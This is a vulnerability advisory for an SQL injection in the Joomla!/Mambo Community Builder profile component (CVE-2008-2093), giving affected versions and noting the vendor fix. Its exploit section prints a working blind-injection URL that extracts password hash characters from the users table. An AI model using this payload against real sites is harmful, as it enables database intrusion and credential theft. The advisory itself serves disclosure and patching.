Joomla! and Mambo Community Builder 'com_profiler' Component SQL Injection Vulnerability

Bugtraq ID:	28911
Class:	Input Validation Error
CVE:	CVE-2008-2093
Remote:	Yes
Local:	No
Published:	Apr 23 2008 12:00AM
Updated:	May 07 2015 05:29PM
Credit:	$hur!k'n
Vulnerable:	Joomlapolis Community Builder 1.0.1 Joomlapolis Community Builder 1.0 Joomlapolis Community Builder 0
Not Vulnerable:	Joomlapolis Community Builder 1.0.2

Joomla! and Mambo Community Builder 'com_profiler' Component SQL Injection Vulnerability

The Community Builder 'com_profiler' component for Joomla! and Mambo is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Joomla! and Mambo Community Builder 'com_profiler' Component SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/index.php?option=com_comprofiler&task=userProfile&user=1/**/and/**/mid((select/**/password/**/from/**/jos_users/**/limit/**/0,1),1,1)/**/</**/Char(97)/*

Joomla! and Mambo Community Builder 'com_profiler' Component SQL Injection Vulnerability

Solution:
The vendor has released an update. Please see the references for more information.

Joomla! and Mambo Community Builder 'com_profiler' Component SQL Injection Vulnerability

References:

• Mambo Homepage (Mambo)
  
• The home of Community Builder (Joomlapolis)